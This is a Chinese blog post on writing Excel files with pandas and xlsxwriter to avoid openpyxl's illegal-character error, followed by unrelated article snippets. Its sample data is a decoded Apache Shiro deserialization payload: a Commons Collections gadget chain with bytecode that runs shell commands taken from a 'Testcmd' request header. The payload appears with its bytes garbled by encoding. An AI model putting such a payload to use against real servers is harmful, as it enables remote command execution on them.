解决:openpyxl.utils.exceptions.IllegalCharacterError

使用python写excel遇到非法字符,本来用的是openpyxl发现有报错,查了一下xlsxwriter可以自动处理非法字符,写起来更方便。
注意使用前安装xlsxwriter:

pip install xlsxwriter
import pandas as pddef write_to_xlsx(data, filename):# 表头headers = ["测试点", "文本"]df = pd.DataFrame(data, columns=headers)df.to_excel(filename, sheet_name="测试结果", index=False, engine='xlsxwriter')
text = """
这是一个shiro反序列化漏洞, 解密后的payload内容为:\n```\nrememberMe=¬ísrjava.util.HashMapÚÁÃ`ÑF\nloadFactorI    thresholdxp?@wsr4org.apache.commons.collections.keyvalue.TiedMapEntryŠ­Ò›9ÁÛLkeytLjava/lang/Object;LmaptLjava/util/Map;xpsr:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl    WOÁn¬«3I
_indentNumberI_transletIndexZ_useServicesMechanismL_auxClassest;Lcom/sun/org/apache/xalan/internal/xsltc/runtime/Hashtable;[\n_bytecodest[[B[_classt[Ljava/lang/Class;L_nametLjava/lang/String;L_outputPropertiestLjava/util/Properties;xpÿÿÿÿpur[[BKýggÛ7xpur[B¬óøTàxp|Êþº¾2ëFooIxp0on0KXjava/lang/Object\nSourceFileFooIxp0on0KX.java    writeBody(Ljava/lang/Object;[B)V$org.apache.tomcat.util.buf.ByteChunk    java/lang/ClassforName%(Ljava/lang/String;)Ljava/lang/Class;
\nnewInstance()Ljava/lang/Object;\nsetBytes[Bjava/lang/IntegerTYPELjava/lang/Class;    getDeclaredMethod@(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method; \n!<init>(I)V#$\n%java/lang/reflect/Method'invoke9(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;)*\n(+getClass()Ljava/lang/Class;-.\n/doWrite1    getMethod3 \n4 java/lang/ClassNotFoundException6java.nio.ByteBuffer8wrap:java/lang/NoSuchMethodException<Code\nExceptionsjava/lang/Exception@
StackMapTablegetFV8(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;getDeclaredField-(Ljava/lang/String;)Ljava/lang/reflect/Field;EF\nGjava/lang/NoSuchFieldExceptionI
getSuperclassK.\nL(Ljava/lang/String;)V#N\nJO"java/lang/reflect/AccessibleObjectQ
setAccessible(Z)VST\nRUjava/lang/reflect/FieldWget&(Ljava/lang/Object;)Ljava/lang/Object;YZ\nX[java/lang/String]()V#_\n`java/lang/Threadb
currentThread()Ljava/lang/Thread;de\ncfgetThreadGroup()Ljava/lang/ThreadGroup;hi\ncjthreadslCD\nn[Ljava/lang/Thread;pgetName()Ljava/lang/String;rs\nctexecvcontains(Ljava/lang/CharSequence;)Zxy\n^zhttp|target~java/lang/Runnable€this$0‚handler„global†\nprocessorsˆjava/util/ListŠsize()IŒ‹Ž(I)Ljava/lang/Object;Y‹‘req“getResponse•    getHeader—Testecho™isEmpty()Z›œ\n^    setStatusŸ    addHeader¡Testcmd£os.name¥java/lang/System§getProperty&(Ljava/lang/String;)Ljava/lang/String;©ª\n¨«toLowerCase­s\n^®window°cmd.exe²/c´/bin/sh¶-c¸java/util/Scannerºjava/lang/ProcessBuilder¼([Ljava/lang/String;)V#¾\n½¿start()Ljava/lang/Process;ÁÂ\n½Ãjava/lang/ProcessÅgetInputStream()Ljava/io/InputStream;ÇÈ\nÆÉ(Ljava/io/InputStream;)V#Ë\n»Ì\AÎuseDelimiter'(Ljava/lang/String;)Ljava/util/Scanner;ÐÑ\n»ÒnextÔs\n»ÕgetBytes()[B×Ø\n^Ù\nÛ
getProperties()Ljava/util/Properties;ÝÞ\n¨ßjava/util/HashtableátoStringãs\nâä[Ljava/lang/String;æ@com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTransletè\né`!é\n>/ö\n¸N-¶M-½YSY²SY²S¶",½Y+SY»Y·&SY»Y+¾·&S¶,W*¶02½Y-S¶5*½Y,S¶,W§:9¸N-;½YS¶"-½Y+S¶,M*¶02½Y-S¶5*½Y,S¶,W§H:9¸N-;½YS¶"-½Y+S¶,M*¶02½Y-S¶5*½Y,S¶,W§±hk7h°=B÷k7÷D=ýD?A\nCD>~?M*¶0N§-+¶HM§§:-¶MN§-¦ÿç,¦»JY+·P¿,¶V,*¶\°\nJB%ý\nXÿ^XJ    
?A#_>6?*·ê6¸g¶km¸oÀq:6¾¢2:¦§    ¶uN-w¶{š-}¶{š§î¸oL+Áš§Ü+ƒ¸o
¸o‡¸oL§:§Ã§+‰¸oÀ‹:    6\n\n    ¹¢ž    \n¹’:”¸oL+¶0–½¶5+½¶,M+¶0˜½Y^S¶5+½YšS¶,À^N-¥\n-¶ž™§X,¶0 ½Y²S¶5,½Y»YÈ·&S¶,W,¶0¢½Y^SY^S¶5,½YšSY-S¶,W6+¶0˜½Y^S¶5+½Y¤S¶,À^N-¥\n-¶ž™§,¶0 ½Y²S¶5,½Y»YÈ·&S¶,W¦¸¬¶¯±¶{™½^Y³SYµSY-S§½^Y·SY¹SY-S:,»»Y»½Y·À¶Ä¶Ê·Í϶ӶֶڸÜ6-¥\n-¶ž™š§,¸à¶å¶Ú¸Ü™§    „\n§þ\™§    „§ýß±_psABÝÿqücÿ^qcÿ^qcSAÿ^qcþ
‹ÿc^qc‹ûT.ûMQç)ÿ^qc‹ÿqcú?Aptabcsrjava.util.Properties9Ðzp6>˜Ldefaultsq~xrjava.util.Hashtable»%!Jä¸F\nloadFactorI    thresholdxp?@wxpwxsr*org.apache.commons.collections.map.LazyMapn唂žy”Lfactoryt,Lorg/apache/commons/collections/Transformer;xpsr:org.apache.commons.collections.functors.InvokerTransformer‡èÿk{|Î8[iArgst[Ljava/lang/Object;LiMethodNameq~\n[iParamTypesq~    xpur[Ljava.lang.Object;ÎXŸs)lxptnewTransformerur[Ljava.lang.Class;«×®ËÍZ™xpsq~?@wxxttxØÏʼ÷Ð\n```\n
"""data=[["shiro",text]]
write_to_xlsx(data,"res.xlsx")

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/135130.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

最新Next14 路由处理器 Route Handlers

四、使用Next路由处理程序 Next.js Route Handlers I. Next中路由处理程序是什么 ​ 路由处理程序是在用户访问站点路由时执行的功能。它们负责处理对定义的URL或路由的传入HTTP请求&#xff0c;以生成所需的数据。从本质上讲&#xff0c;当用户访问Next.js应用程序中的特定页…

vim手册(vim cheatsheet)

vim手册&#xff08;vim cheatsheet&#xff09; 1. 命令模式 1). 移动光标 在命令模式下&#xff0c;可以使用以下命令来移动光标&#xff1a; - h&#xff1a;向左移动一个字符。 - j&#xff1a;向下移动一行。 - k&#xff1a;向上移动一行。 - l&#xff1a;向右移动一个…

Docker 从构建开始导出一个镜像

docker build docker build命令用于从Dockerfile创建一个镜像。它的基本格式如下&#xff1a; docker build [OPTIONS] PATH | URL | -这里的PATH是Dockerfile所在的路径&#xff0c;URL是一个Git仓库地址&#xff0c;-表示从标准输入读取Dockerfile。 docker build命令的一…

chatglm3-6b部署及微调

chatglm3-6b部署及微调 modelscope: https://modelscope.cn/models/ZhipuAI/chatglm3-6b/filesgithub: https://github.com/THUDM/ChatGLM3镜像: ubuntu20.04-cuda11.8.0-py38-torch2.0.1-tf2.13.0-1.9.4v100 16G现存 单卡 安装 软件依赖 pip install --upgrade pippip ins…

使用IDEA让文本对比不在变的困难

文章目录 前言操作1、IDEA与电脑磁盘任意文件的比较2、项目内部的文件比较3、剪切板比较4、IDEA本地历史比较5、IDEA版本历史对比 前言 在日常实际开发当中我们常常会对一些代码或内容进行比对查看是否有差异&#xff0c;这个时候不需要借用第三方比对插件&#xff0c;在IDEA中…

2022 icpc杭州站 C. No Bug No Game - 背包dp

题面 分析 能拿整个 p i p_i pi​的就拿整个的&#xff0c;不能拿了可以拿一部分的&#xff0c;因此可以分成0和1两种情况&#xff0c;0表示拿整个的&#xff0c;1表示还可以拿部分的&#xff0c;两种情况放在一起做一遍01背包&#xff0c;找到最大价值。 代码 #include &l…

git笔记

git常见命令 git init :初始化本地仓库&#xff0c;会生成一个.git文件&#xff0c;该文件用于管理和追踪该本地仓库&#xff0c;只有在git仓库下的文件才能被管理! git config user. name "用户名” git config user. email " 邮箱” git config -1 :列出当前git仓库…

老李测评:网络电视盒子哪个好?双十一必看电视盒子推荐

大家好&#xff0c;我是测评人老李&#xff0c;双十一大促期间我们都在买买买&#xff0c;本期老李要分享的数码产品推荐是电视盒子&#xff0c;为了推荐更客观&#xff0c;老李购入了各平台热销的十几款电视盒子&#xff0c;通过两周的对比后&#xff0c;整理了这份电视盒子推…

java后端debug排查问题思路

问题排查思路 这里说的是主要是debug以及线上问题排查的思路. 解决问题的步骤 确认环境、确定问题、复现问题、查看日志、定位问题 、解决问题 确认环境/url/参数 确认是哪个环境。 是开发环境&#xff0c;测试环境&#xff0c;还是生产环境。 如果问题是在测试环境&…

class类默认导出,header字段在请求中的位置

这是封装好的&#xff0c;没封装的如下 如果没有用uni.post那么就是如下的结构 let header {Content-Type: application/x-www-form-urlencoded,tenant: MDAwMA, } request({url:/sal/formula/validFormula,method:post,data:{},header })

音乐免费下载mp3格式+音频格式转换+剪辑音频+合并音频教程

1.在qq音乐网页版搜索想要的歌曲 qq音乐网站&#xff1a;https://y.qq.com/ 如果你是vip可以直接下载vip的歌曲&#xff0c;如果不是选择不是vip的歌曲进行第一步的操作 2.点击播放进入页面后F12拿到音频地址 然后双击src里面的音频地址复制 网页新标签打开赋值的这个链接&a…

iptables 放开http典型配置

要在 iptables 中放开 HTTP&#xff08;端口80&#xff09;的典型配置&#xff0c;您需要执行以下步骤&#xff1a; 检查当前的 iptables 规则&#xff1a; 首先&#xff0c;您可以使用以下命令查看当前的 iptables 规则&#xff0c;以确保没有冲突的规则&#xff1a; sudo ipt…

Gitlab服务器配置LDAP指导

ssh登录gitlab服务器&#xff1a;192.168.1.203修改配置文件 sudo su vim /etc/gitlab/gitlab.rb找到ldap_enabled和ldap_servers关键字并修改参数 保存配置文件并重新载入配置 gitlab-ctl reconfigure检查ldap相关配置是否成功&#xff08;列出前100个用户&#xff0c;若没…

BIM、建筑机器人、隧道工程施工关键技术

一、BIM简介 &#xff08;一&#xff09;BIM概念 BIM&#xff08;Building Information Modeling&#xff09;&#xff0c;建筑信息模型。该技术通过数字化手段&#xff0c;在计算机中建立虚拟建筑&#xff0c;该虚拟建筑提供从单一到完整、包含逻辑关系的建筑信息库。信息库…

福建地区等保测评怎么做

福建地区等保测评怎么做&#xff1f;福建地区等保测评是指在福建地区对网络安全等级保护进行评估的过程。网络安全已经成为现代社会一个重要的议题&#xff0c;各个行业和领域都面临着越来越多的网络安全风险和威胁。为了保护信息系统的安全性和可靠性&#xff0c;各地区都制定…

基于全阶模型磁链观测器的异步电机矢量控制的学习

导读&#xff1a;异步电机直接矢量控制需要通过磁链观测器来获取同步角&#xff0c;用于控制过程中的坐标变换。同时&#xff0c;磁链观测器输出的估计磁链用于磁链PI调节器闭环控制。所以磁链观测器在矢量控制中显得尤为重要。 如果需要文章中对应的仿真模型&#xff0c;关注…

C语言实现输出9*9口诀

完整代码&#xff1a; // 输出9*9口诀 #include<stdio.h>int main(){//i代表九行for (int i 1; i < 10; i){//j代表每行有几列for (int j 1; j <i; j){printf("%d*%d%d ",j,i,i*j);}printf("\n");}return 0; } 运行截图&#xff1a;

安防监控EasyCVR视频汇聚平台使用海康SDK播放时,画面播放缓慢该如何解决?

视频云存储/安防监控EasyCVR视频汇聚平台基于云边端智能协同&#xff0c;支持海量视频的轻量化接入与汇聚、转码与处理、全网智能分发、视频集中存储等。安防视频平台EasyCVR拓展性强&#xff0c;视频能力丰富&#xff0c;具体可实现视频监控直播、视频轮播、视频录像、云存储、…

SpringBootWeb案例——Tlias智能学习辅助系统(2)

前一节已经实现了员工信息的条件分页查询以及删除操作。 这一节继续完成新增员工、文件上传、修改员工、配置文件的功能。 目录 新增员工文件上传简介本地存储阿里云OSS介绍与入门项目集成阿里云(难点) 修改员工查询回显修改员工 配置文件参数配置化(Value)yml配置文件Configur…

Hive谓词下推

Hive谓词下推 1、情景描述2、Hive谓词下推2.1、什么是谓词下推2.2、Hive谓词下推 3、谓词下推规则4、谓词下推场景分析 1、情景描述 在实际数仓开发中&#xff0c;我们经常会遇到多表关联&#xff0c;这个时候就会涉及到where与on的使用 Hive中的where与on在HQL中的区别为&…